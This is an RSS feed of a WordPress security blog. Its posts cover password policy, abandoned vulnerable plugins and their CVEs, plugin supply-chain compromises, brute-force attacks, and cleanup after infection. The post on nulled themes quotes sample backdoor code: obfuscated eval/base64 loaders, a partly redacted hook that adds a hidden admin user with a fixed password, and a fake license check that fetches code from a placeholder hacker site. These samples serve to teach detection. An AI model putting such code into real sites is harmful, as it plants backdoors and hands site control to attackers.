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	<title>scan &#8211; WordPress Security Blog</title>
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		<title>Latest password policy for using WordPress with multiple administrators and editors (contributors).</title>
		<link>https://blog.website-malware-removal.com/10800</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Tue, 31 Mar 2026 01:26:28 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10800</guid>

					<description><![CDATA[We will explain the latest password policy (how to determine a unified password) when using WordPress with multiple administrators and editors (contributors). How to determine WordPress passwords, password policy The way passwords are determined has changed over time. Until a few years ago, periodic password changes were recommended, but now it is believed that once a strong password is created, it does not need to be changed, and double authentication is also becoming more popular. Current Recommended Password Policies Length Priority Minimum 12-16 characters. Length is the most important factor for security. Passphrase A combination of words such as correct-horse-battery-staple is effective Change only when a leak is suspected. Change only if you suspect a leak. Unnecessary forced change is counterproductive. Combination of 2FA and MFA (multi-factor authentication) Reduce reliance on single passwords Use of password managers Manage long, random passwords without using them repeatedly for each service. Match against compromised lists Match against databases such as Have I Been Pwned and block In the case of WordPress, the use of passwords similar to user IDs is also a major cause of hacking. For this reason, we recommend that you do not use passwords that contain a string of characters that includes your user ID! Why is it not necessary to change my password on a regular basis? When people are told that they must change their password every 90 days, many try to keep it to a minimum so that it is easy to remember. Here is a typical pattern we have observed in practice Sakura2024! → Sakura2025! → Sakura2026! What is the use of a password manager? The idea here is to have the application remember complex passwords, rather than having a human remember them. Browsers have a function to record passwords, but this is a password manager. There is also software that encrypts and stores passwords, such as https://keepass.info/. What is a check against a compromised list? Hackers also use the list of compromised passwords in a brute force attack to enforce login. This means that even if the passwords are long enough and random enough, the compromised passwords will not be used. One site to check for compromised passwords is https://haveibeenpwned.com/ and others. What happens if my WordPress password is weak? It is said that 20% of WordPress sites are hacked and tampered with due to weak passwords, which can lead to the loss of administrative privileges. Hackers use a list of commonly used passwords and mechanically repeat login enforcement thousands and thousands of times to try to log in. This is called a brute force attack. Please use the [Free] WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal], a security plugin that can detect and suppress brute force attacks. It is important that you use an appropriate password policy to prevent such brute force attacks and reduce the possibility of WordPress hacking.]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10800</post-id>	</item>
		<item>
		<title>Why is it compromised even though the plug-ins are up-to-date &#8211; vulnerability created by &#8220;obsolete plug-ins&#8221;?</title>
		<link>https://blog.website-malware-removal.com/10786</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Mon, 23 Mar 2026 01:49:47 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10786</guid>

					<description><![CDATA[We will explain why plug-ins can be compromised even if they are up-to-date &#8211; vulnerabilities created by &#8220;obsolete plug-ins&#8221; based on the attack patterns we have detected. There is a possibility of malware infection even though all plug-ins are up-to-date! Even if all plug-ins are up-to-date, you may be infected with malware through other sites on the server, or through vulnerabilities in obsolete plug-ins (which are not updated). In this article, we will explain the dangers of obsolete plug-ins. Obsolete plug-ins are not updated and appear to be up-to-date from the plugin management screen. Even if you are using WordPress and update your plugins for security reasons, they may appear to be up-to-date in the plugin management screen, even though they are no longer under development by their creator and have not been updated for a long period of time. (The official wordpres.org site has also stopped distributing the plugin, so automatic updates will not be applied). If such a plugin is installed on a site and a major vulnerability is discovered, the vulnerability will be left in place for a long time afterwards, increasing the likelihood that it will one day be hacked by hackers. (Although rare, plugins with a large number of installations may be subject to emergency security updates by wordpress.org or volunteers.) The following are examples of suspended plugins that we have detected as targets of hacker attacks 1. MyPixs (version 0.3 or lower) CVE: CVE-2015-1000012 Type: LFI (local file inclusion) Severity: CVSS 7.5 (High) Typical WPScan LFI vulnerability in downloadpage.php where the value of $_REQUEST[&#8220;url&#8221;] is directly passed to include(), which reads arbitrary files on the server without authentication. wp-config.php and other confidential files. No patch and development has been stopped, so immediate removal is recommended. 2. Phee&#8217;s LinkPreview (version 1.6.7 and below) CVE: CVE-2024-13464 (XSS), CVE-2025-27344 (CSRF) Type: XSS CSRF Severity: CVSS 4.3 (Medium) XSS (CVE-2024-13464) and CSRF (CVE-2025-27344) have been reported, both of which are in SolidWP status with no patch available. CSRF is a Patchstack that may allow attackers to force highly privileged users to perform unintended operations. Patchstack, a relatively new vulnerability (reported in 2024-2025), which is still left unfixed at this time. 3. WP Mobile Detector (version 3.5 and below) CVE: CVE-2016-4833 Type: Arbitrary file upload → RCE (remote code execution) Severity: Critical Astra Security can remotely upload arbitrary files to a web server by exploiting the resize.php script, allowing it to function as a web shell (backdoor) and hijack the server. CISA has also issued an advisory CISA. 4. Site Import (version 1.0.1 or lower) Type: RFI (remote file inclusion) + LFI (local file inclusion) AcunetixRFI vulnerability that allows an attacker to include and execute external malicious PHP files due to insufficient input value validation for the url parameter in admin/page.php. PoC (proof-of-concept code) is also available, which allows remote shell upload and Exploit-DB, which has been proven to both upload remote shells and read local files via directory traversal; no patch to fix and removed from official repositories. Prevents vulnerability attacks on deprecated plugins. The only way to prevent vulnerability [&#8230;]]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10786</post-id>	</item>
		<item>
		<title>Examples of wordpress plugins turned into malware due to acquisition by another company or hijacking of wordpress.org accounts and how to prevent it in advance.</title>
		<link>https://blog.website-malware-removal.com/10774</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Wed, 11 Mar 2026 01:50:48 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[clean]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10774</guid>

					<description><![CDATA[We will explain actual cases of WordPress plug-ins becoming malware due to acquisition by another company or hijacking of wordpress.org accounts, and how to prevent this from happening in advance. Can plugins distributed from the official WordPress website contain malware? Plugins distributed from the official WordPress website are open source, meaning that their code is available to technicians from all over the world, and they are constantly checked for malware by volunteer private developers, security companies, and WordPress operators. For this reason, although it is rare, there have been several cases where plug-ins (including updates) distributed from the official site have been infected with malware and have been distributed. 1 Display Widgets malware contamination case 2017 Display Widgets was a popular plugin used by about 200,000 sites, but the developer sold the plugin to a third party for $15,000. With the subsequent v2.6.0 release, malware was introduced by that third party, and numerous sites that updated to this version or installed Display Widgets were affected by the malware. (According to one theory, tens of thousands of sites). The timeline of this incident is as follows May 19, 2017. Former developer sells plugin to third party (under the name Mason Soiza) for $15,000 June 21, 2017 New owner releases first update v2.6.0. Malware code is secretly inserted at this point. June 22, 2017 SEO consultant David Cameron Law discovers an anomaly in v2.6.0; reports to WordPress.org that it is downloading over 38MB of external code and sending user IP addresses, viewed pages, domains, etc. to a third-party server June 23, 2017. WordPress.org Removes Plugin from Repository (1st time) June 30, 2017 Attacker releases v2.6.1, which includes geolocation.php but is &#8220;not recognized as malicious code&#8221; and allowed to be reposted. New exploit adds ability to hide spam content from view for logged-in users. July 1, 2017 WordPress.org removed (for the second time) July 6, 2017 Released v2.6.2, keeping geolocation.php and adding ON/OFF option to &#8220;make it look legit&#8221; July 23, 2017 Another user reports spam delivery. July 24, 2017 WordPress.org removed (for the 3rd time) September 2, 2017 v2.6.3 is released. Malware is still intact and even bug fixes are made, deemed &#8220;clearly intentional maintenance&#8221;. September 8, 2017 WordPress.org permanently removed (4th and final) As you can see from the history, when a plugin contains malware, it is discovered within 1-20 days, and WordPress officials have stopped distributing that plugin within 20 days even in this weasel-worded case. This case was the first time ever that a malicious plugin acquirer said it had fixed the problem multiple times, but in fact continued to maliciously introduce malware. 2 Social Warfare Malware Contamination Case 2024 The Social Warfare plugin malware contamination incident was not an acquisition, but a malware contamination incident that occurred when hackers took over the Social Warfare development management screen (plugin upload management and other functions of wordpress.org). This is said to be a strong possibility, and the investigation is still ongoing. June 22, 2024. Malicious code was introduced into Social Warfare, distributed as an automatic update via WordPress.org. June 22, 2024. WordPress.org [&#8230;]]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10774</post-id>	</item>
		<item>
		<title>I have all my plugins up to date and WordPress is infected, what is the real route of entry?</title>
		<link>https://blog.website-malware-removal.com/10769</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Wed, 04 Mar 2026 01:31:28 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10769</guid>

					<description><![CDATA[There are cases where WordPress is infected with malware even though WordPress itself and all plugins are up-to-date. We will explain the real route of entry in this case. Intrusion route 1: Unauthorized login to the management screen Twenty percent of the time, WordPress is hacked and tampered with because hackers are able to determine the password for administrative privileges and log in. Once a hacker is able to log in to the WordPress administration panel, they can do almost anything they want on the server, including defacing the site, installing unauthorized plug-ins, and uploading viruses. Hackers can use a variety of common password dictionaries to find out the login password for administrative privileges in what is called a brute force attack, in which the login enforcement is automatically repeated tens of thousands of times. We recommend that you use a password that is at least 12 characters long, is a random string of characters, and contains at least one single-byte alphanumeric character (upper and lower case) and one symbol. It is also dangerous to use a password that is close to your administrator ID. Intrusion route 2: Unauthorized login via test site The above unauthorized logins are equally dangerous with respect to test sites. Even if you think that the test site is undetectable, its URL or folder can be discovered by a search engine. We recommend that the administrator password for the test site be a random string of at least 12 characters, including at least one upper and one lower case alphanumeric character and one symbol. Intrusion route 3: Infection via another site on the server Some recent malware spreads infection automatically by scanning the folder structure on the server. If there are multiple sites sharing the same parent (Root) folder on the server, malware infection may spread through other sites. For this reason, it is necessary to remove unnecessary sites from the server, and to take security measures such as increasing the strength of the administrator&#8217;s password for all sites on the server, updating and vulnerability scanning to close the vulnerabilities. The following plug-ins can be used to easily perform vulnerability countermeasures and malware scanning of all sites on the server. We hope you will make use of it. Free WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. Intrusion route 4 Vulnerability of the server itself In some cases, more fundamental vulnerabilities in the server&#8217;s OS (Linux), server configuration software, etc. can be exploited to infect a site with malware. Vulnerabilities in operating systems and middleware (Apache, Nginx, PHP, etc.) are discovered on a regular basis, and continued use of older, unpatched versions can allow an attacker to exploit these holes to gain entry into the server itself. Key measures include Regular OS and software updates, disabling unnecessary services and ports, configuring firewalls, strengthening SSH connections, installing a WAF (Web Application Firewall), regular log monitoring and tamper detection etc. However, on shared servers, these measures are taken by the server management company. (In many cases, the site operator is required to update the PHP version [&#8230;]]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10769</post-id>	</item>
		<item>
		<title>Why you may not notice that your WordPress site has been tampered with and how to create a mechanism for early detection.</title>
		<link>https://blog.website-malware-removal.com/10756</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Fri, 20 Feb 2026 01:21:36 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10756</guid>

					<description><![CDATA[We will explain why you may not notice that your WordPress site has been tampered with and how to create a mechanism for early detection. Why you may not notice that your WordPress site has been tampered with. Increasingly, WordPress sites are hacked and defaced and go unnoticed for long periods of time. The reason for this is that malware may have mechanisms in place to hide the defacement of the site from the administrator, or it may only manifest itself in rare instances. Such stealthy malware often has the following features Symptoms appear only when the site is accessed from Google search results. Once symptoms (such as misdirection to other sites) appear, COOKIE is used to prevent symptoms from appearing for a while. The system is designed so that users who are logged in with administrator privileges do not experience symptoms. Even if illegal links are inserted in the site by SEO spam, they are hidden by transparency or extremely small display on the appearance of the site. What should I do if I receive a complaint from a customer that the site jumps to an incorrect page without their permission, or that they cannot view the site? If you receive such a complaint, the site administrator can check the symptoms and find that the symptoms do not occur while logged in, or the malware may have already been configured to prevent the symptoms from occurring when accessed from your IP address. In such cases, we recommend that you first check to see if the symptoms really do not occur by using the following methods. 1. Log out of the WordPress site. 2. Delete all cache and cookies in incognito mode or in your browser. 3. Access the site again to check for any unauthorized behavior. 4. Delete all browser cache and cookies again. 5. Enter the URL of your site into a search engine and click on the link in the search results to see if any malware symptoms appear. 6. Check the above on your smartphone as well (some malware may only show symptoms on smartphones). We also recommend using an external inspection site such as Sucuri SItecheck. (This site simulates access from Google to externally detect malware on your site, so you can think of it as automatically performing the above checks.) https://sitecheck.sucuri.net/ https://malware-scan.website-malware-removal.com/ The best way to detect malware is to exhaustively inspect every file from the inside of the site External inspection tools, such as Sucuri, have much lower detection rates than those that exhaustively inspect files from within the site. In general, the code that creates the output (the malware itself) is always present somewhere, rather than the code that expresses the symptoms of the malware&#8217;s output, and is characterized by very long code, making it much easier to detect. Please use a plugin that performs a comprehensive scan of your WordPress site for malware from the inside. Free WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. Automatically scans for malware infection and notifies you automatically. Free WordPress:Malware Scan &#038; Security Plugin [&#8230;]]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10756</post-id>	</item>
		<item>
		<title>A brute force attack may be the cause of many 504 and 403 errors on your WordPress site</title>
		<link>https://blog.website-malware-removal.com/10732</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Wed, 04 Feb 2026 02:07:06 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10732</guid>

					<description><![CDATA[A brute force attack may be the cause of the frequent 504 and 403 errors on your WordPress site. We will explain the symptoms and how to deal with this issue. Server overload due to brute force attack A brute force attack is an attack technique that uses the WordPress administrator&#8217;s ID (which is relatively easy to obtain) and a dictionary of tens of thousands of commonly used passwords to repeatedly perform login enforcement, eventually attempting to match the password and successfully log in. If the password is strong enough, the login will not be successful. However, this attack may cause tens of thousands of accesses to the server in a short period of time, resulting in frequent 504(*) or 403 errors. What are 504 and 403 errors? A 503 error is an error where the server is overloaded and stops processing before retrieving data or displaying the site. Some servers (e.g., major shared servers) may also have a 403 error, which automatically bounces the process when the server is overloaded. How can I find out if my site is being brute-force stacked? One way to check if your site is being brute-forced is to look at the server logs. wp-login.php and xmlrpc.php may be brute-forced if they record excessive accesses. A security plugin can also detect brute force attacks. You can detect brute force attacks with the Hack Monitor feature enabled in the [Free] WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. The recorded brute force attacks are shown in the figure below To resolve the overload caused by brute force attacks Here are some measures to resolve server overload caused by brute force attacks. Eliminate log bloat Brute force attacks can increase the server load by bloating the site&#8217;s access logs, access analysis, and security logs. (If there are millions of logs in the database, simply writing new logs can slow down the site significantly and cause 503 errors.) In this case, it is possible to reduce the number of logs or prevent new logs from being recorded, thereby reducing the likelihood of 503 errors. Protect the login screen We can protect the login screen by preventing access to wp-login.php and xmlrpc.php, which are vulnerable to brute force attacks, by using security plugins, etc., or by preventing excessive access to these files. It is also effective to block access to the hacker&#8217;s site by directly blocking the IP of the brute force attacker, thereby preventing the hacker from gaining access to the site. Reference Why and How to Prevent WordPress Brute Force Attacks with Login Screen Security Alone We hope this was helpful.]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10732</post-id>	</item>
		<item>
		<title>Why WordPress brute force attacks cannot be prevented by login screen security alone.</title>
		<link>https://blog.website-malware-removal.com/10722</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Fri, 30 Jan 2026 01:33:57 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10722</guid>

					<description><![CDATA[We will explain why WordPress brute force attacks cannot be prevented by login screen security alone and what to do about it. What is a brute force attack? A brute force attack is an attack that attempts to successfully log in as an administrator by repeating the WordPress login enforcement thousands and thousands of times by predicting the password. Once a hacker is able to log in as a WordPress administrator, they can do anything they want, including modifying files, hosting unauthorized files, and installing unauthorized plugins via the WordPress administration screen. Hackers have a dictionary of commonly used passwords and will use this dictionary to conduct an automatic brute force attack. This attack can cause a huge amount of traffic to WordPress and slow down the site. Brute force attacks cannot be prevented by login screen security alone. There are two types of brute force attacks: one is by sending login information to wp-login.php, the WordPress login program, and the other is by using the XMLRPC mechanism. For this reason, it is not possible to prevent brute force attacks by simply adding a capture to the login screen or changing the login screen URL. What is the brute force attack method using XMLRPC? XMLRPC is a mechanism that allows WordPress to create posts from the outside via the Internet. If the login information is incorrect, an error message is output. By analyzing this error message, it is possible to determine whether the login was successful or not, thus enabling a brute force attack. How can I prevent brute force attacks on both the login screen and XMLRPC? Free] WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. This section explains how to prevent brute force attacks on both the login screen and XMLRPC using the After downloading and installing the plugin, select &#8220;High&#8221; in the Malware Scan > Security tab of the administration page and save the settings. This will enable the Login Lockdown, Login Capture, Password Reset Capture, and Prevent Excessive Access to XMLRPC features and enable the security features to prevent brute force attacks on both the login screen and XMLRPC. Monitor brute force attacks and block IPs It is also possible to monitor brute force attacks and block IPs. On the plugin&#8217;s administration page, under the &#8220;Hack Monitor &#038; IP Blocker&#8221; tab, check the Enable Hack Monitor checkbox and save the settings. This will allow you to monitor, detect, and record brute force attacks and vulnerability attacks by hackers. The recorded hacker attacks can then be used to block the hacker&#8217;s IP. By blocking the hacker&#8217;s IP, the hacker will no longer be able to brute-force attack on that IP. We hope this helps.]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10722</post-id>	</item>
		<item>
		<title>We will explain 5 blind spots that are more dangerous for WordPress operators who think they have security measures in place.</title>
		<link>https://blog.website-malware-removal.com/10717</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Mon, 26 Jan 2026 01:35:14 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10717</guid>

					<description><![CDATA[We will explain five blind spots that are more dangerous for WordPress operators who think they have security measures in place. They are taking security measures only for the login screen. Around 20% of WordPress hacks are caused by weak passwords for administrative privileges, which allow hackers to take away administrative privileges. Hackers use brute force attacks, which are often used to test the administrator&#8217;s password one after the other to see if it can be used to log in. In fact, the most effective way to counter this attack is to strengthen the password for administrator privileges rather than increasing the security of the login screen. Since it takes more than a thousand years to match a strong password, which is logically a random string of 12 or more characters, with a brute force attack, it will be impossible to break a strong password. A strong password is a random string of nonsense characters that contains at least one uppercase and one lowercase symbol. We also hope you will note that changing the URL or captcha of the login screen is effective in preventing brute force attacks, but it alone will not prevent the vulnerability attack, which is the biggest cause of WordPress being hacked, as described below. Only enabled plugins care about vulnerabilities. It is said that 60% of the causes of WordPress being hacked are vulnerabilities in old plugins. Therefore, it is an extremely effective security measure to always be aware of the vulnerabilities of your plugins and update them on a regular basis. However, although WordPress allows you to enable and disable plugins, there are many vulnerabilities that can be exploited even if they are disabled. For this reason, we recommend that you remove deactivated plug-ins if possible, or update deactivated plug-ins as well. Please use our vulnerability database to check the vulnerability of plug-ins. No security measures have been taken for the test site or other sites on the server. We often see cases where a company has taken all the necessary security measures for its main WordPress site, but has neglected to secure its test site or other WordPress sites on the server. However, many of today&#8217;s malware reads the folders on the server from the top and spreads itself to other WordPress sites. This can lead to the spread of malware to other WordPress sites that have good security measures in place. We recommend that you remove abandoned sites from your server and implement security measures for all WordPress sites on your server. Five free WordPress security measures Backups are a good thing! Some people think that if they keep a backup of their WordPress site, they can revert to that point in time in the event of a malware infection, but in reality, the site may already contain malware at the time of backup, or the vulnerability at the time of backup is an entry point that hackers can quickly use to re-infect the site. Hackers can use the vulnerability to re-infect the system repeatedly. For this reason, it is not always safe to [&#8230;]]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10717</post-id>	</item>
		<item>
		<title>We will explain the dangers of using illegally distributed plug-ins and themes.</title>
		<link>https://blog.website-malware-removal.com/10709</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Wed, 21 Jan 2026 01:11:23 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10709</guid>

					<description><![CDATA[We will explain why nulled (illegally distributed) WordPress themes/plugins are dangerous. What is a nulled theme/plugin? There are many sites that host and distribute various paid WordPress themes and plugins, or programs that have been removed from the official directory or suspended from distribution, without permission, such as by removing the license certificate. Such unauthorized distribution from sites that are not official distribution sites (especially programs that have had their licenses removed) is called nulled themes and plugins. (Nulled themes and plug-ins may contain malware or backdoors. In addition to programs that bypass the license authorization process, nulled themes and plug-ins may, although not 100% of the time, contain backdoors, which are portals that allow hackers to modify server data. For this reason, it is safer not to use nulled themes or plug-ins. Some specific examples of how malware can be included are listed below. eval(base64_decode($code)); eval(gzinflate(str_rot13(base64_decode('Sy1LzNFQy8xLVShJLEnV...')))) ; base64_decode gzinflate hides (obfuscates) the contents of the malicious code and executes arbitrary code with eval(). The reality is a backdoor. add_action('*****', function() { if (!username_exists('support')) { wp_******_user('support', 'P@ssw0rd!', 'support@example.com'); } }); Generates an invalid user (some of the code has been withheld because it is dangerous) function theme_license_check() { $data = file_get_contents('hacker site'); As shown above, some code disguised as a license can be used to notify an unauthorized destination of its own existence, or to pull down and execute unauthorized code. Unknowingly using a nulled (illegally distributed) theme/plugin If you have outsourced the creation of your site, the production company you outsourced to may have used a nulled theme/plugin. This often leads to hackers attacking your site and spreading malware throughout the site. To some extent, malicious code in nulled themes and plugins can be detected by malware scanning plugins. We recommend that you run a malware scan once your site has been delivered by an outsourced vendor. Free WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal].]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10709</post-id>	</item>
		<item>
		<title>Why Backup Restores Are Dangerous After WordPress Tampering</title>
		<link>https://blog.website-malware-removal.com/10681</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Mon, 22 Dec 2025 01:32:19 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10681</guid>

					<description><![CDATA[After WordPress has been tampered with, we explain why backups are dangerous. Why reinfection is repeated after restoring a site from backup? Restoring a defaced WordPress site from a backup may temporarily restore the site and make it appear that the malware symptoms have disappeared. This section explains the causes and countermeasures. 1 Malware has not disappeared If, at the time of backup, there was already a file of a type known as a backdoor, which is an entry point for hackers, that file has been restored as well. This may have caused the hacker to repeat the tampering again via that file. Also, if the file is restored by overwriting it from a backup, the type of malware that infects the legitimate file is removed from the server as is, but exists on its own. Countermeasure: When restoring from a backup, it is necessary to carefully examine whether or not there is any malware infection at the time of the backup. 2 The login password has fallen into the hands of a hacker or an unauthorized user has been registered. If a hacker already knows the login password for the site, or if an unauthorized user has been registered on the site, the hacker may be able to log in to the administration panel and continue to alter files on the server, install backdoors, add unauthorized plug-ins, etc. If a hacker is already registered on your site, he or she will be able to log in to your site. Countermeasure: Changing the password for administrative privileges and removing unauthorized users are effective countermeasures. 3 Process is infected with malware. If a server process (not a file, but a form of malware that keeps running in memory) is infected with malware, it cannot be erased even if restored from a backup site. Countermeasure: It is necessary to investigate whether any malware continues to run on the server process and stop the malicious process if it exists. Reference Word How to stop and detect malware residing in a process in WordPress How to check if malware is deployed in a process (memory) on a WordPress site 4 Vulnerabilities can also be restored Restoring a site from a backup can restore the vulnerabilities in the site that allowed the hacker to get into the site in the first place. If you restore from a backup, we recommend that you also take measures to plug the vulnerabilities, such as updating plugins and WordPress itself. 5 The site has been reinfected via another site on the server. Many malware nowadays spread infection via another site on the server (a site that shares the root folder), going beyond the site folder for each domain. For this reason, it is advisable to perform malware scanning and vulnerability countermeasures on all sites on the server, not just those that are showing symptoms of malware. We hope you will take advantage of this free plugin developed by WP Doctor, which allows you to perform malware scanning and vulnerability scanning. Free] WordPress: Malware Scan &#038; Security Plug-in [Malware and Virus Detection [&#8230;]]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10681</post-id>	</item>
		<item>
		<title>How to deal with unauthorized plugins installed in wordpress such as wp-cleansong, wp-cache, optimize-core, system.php, etc.</title>
		<link>https://blog.website-malware-removal.com/10670</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Mon, 15 Dec 2025 01:52:21 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[clean]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10670</guid>

					<description><![CDATA[Hackers may install malicious plugins (wp-cleansong, wp-cache, optimize-core, system.php, etc.) once they have successfully infiltrated a WordPress site. This section describes how to deal with the installation of such unauthorized plug-ins. Rogue plug-ins introduced by hackers Once hackers have successfully infiltrated a WordPress site, they may install a type of malicious program called a backdoor in the server to facilitate various subsequent unauthorized activities on the server, such as tampering or sending spam emails. This backdoor may take the form of a plugin that runs on WordPress and may be installed and activated unknowingly. There are also attacks that use a legitimate PHP-running plugin plus malicious code to write to the database. Reference WPCode &#8211; Malware embedded in database via Insert Headers and Footers plugin How to tell if a plugin is malicious Malicious plug-ins may masquerade as security plug-ins, update plug-ins, etc., in order to appear harmless. If you see a suspicious plugin in the list of plugins in the WordPress administration screen, you can use the following methods to identify the plugin to some extent. 1 Plug-in does not exist on the official WordPress website WordPress plug-ins are listed on the official WordPress website according to the following rules. https://wordpress.org/plugins/"Slug"/ *Slug is the name of the plugin folder in wp-content/plugins. If a plugin is not listed as an official plugin and you do not remember installing it, it may be a rogue plugin installed by a hacker. 2 Code is obfuscated Hackers often obfuscate the code to hide the original function of the malicious code. If you download and open the code of a plugin using FTP software and find obfuscated code such as the following, it may be a malicious plugin installed by a hacker. 3 There is a file in the plugin folder that is judged as malicious code by the malware scan. Free WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal] If there are files in the plugin folder that are detected as malware by malware scanning plugins such as [Free] WordPress:Malware Scanning &#038; Security Plugins [Malware &#038; Virus Detection &#038; Removal], there is a high possibility that the plugin is a malicious one installed by hackers. How to deal with rogue plug-ins If you are certain that a hacker has introduced a malicious plugin, stop and remove the plugin. If the hacker was able to install a malicious plugin, it means that he/she is able to log in to the administration screen, so it may be necessary to take other security measures. If the hacker was able to install other malicious files, it means that the hacker 